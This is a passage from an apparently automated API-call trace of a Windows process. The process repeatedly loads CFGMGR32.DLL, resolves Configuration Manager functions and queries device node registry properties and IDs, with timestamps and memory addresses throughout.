lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.662] malloc (_Size=0x18) returned 0x20abc281fc0 [0238.663] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x4, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0238.669] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4a0646e0, dwHighDateTime=0x1d9eb0c)) [0238.671] SetEvent (hEvent=0x248) returned 1 [0238.677] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.677] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.685] malloc (_Size=0x18) returned 0x20abc281d20 [0238.685] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0238.686] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a08ffa5, dwHighDateTime=0x1d9eb0c)) [0238.686] SetEvent (hEvent=0x248) returned 1 [0238.773] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.773] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.776] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.777] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.777] malloc (_Size=0x18) returned 0x20abc281fc0 [0238.777] CM_Get_Device_IDA (in: dnDevInst=0x6, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HTREE\\ROOT\\0") returned 0x0 [0238.777] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4a175582, dwHighDateTime=0x1d9eb0c)) [0238.778] SetEvent (hEvent=0x248) returned 1 [0238.782] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.782] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.785] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.786] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.787] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.788] malloc (_Size=0x18) returned 0x20abc281d20 [0238.788] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0238.789] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4a175582, dwHighDateTime=0x1d9eb0c)) [0238.789] SetEvent (hEvent=0x248) returned 1 [0238.795] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.795] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.795] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.796] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.798] malloc (_Size=0x18) returned 0x20abc282060 [0238.798] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0238.799] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4a19b654, dwHighDateTime=0x1d9eb0c)) [0238.799] SetEvent (hEvent=0x248) returned 1 [0238.802] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.802] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.802] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.803] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.804] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.805] malloc (_Size=0x18) returned 0x20abc281e80 [0238.806] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0238.806] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a19b654, dwHighDateTime=0x1d9eb0c)) [0238.806] SetEvent (hEvent=0x248) returned 1 [0238.866] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.866] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.868] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.869] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.870] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.871] malloc (_Size=0x18) returned 0x20abc281f60 [0238.871] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0238.871] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a25a0fd, dwHighDateTime=0x1d9eb0c)) [0238.872] SetEvent (hEvent=0x248) returned 1 [0238.875] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.875] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.879] malloc (_Size=0x18) returned 0x20abc281ea0 [0238.879] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x6, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0238.880] malloc (_Size=0x48) returned 0x20abc27cf80 [0238.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4a25a0fd, dwHighDateTime=0x1d9eb0c)) [0238.880] SetEvent (hEvent=0x248) returned 1 [0238.883] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.883] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 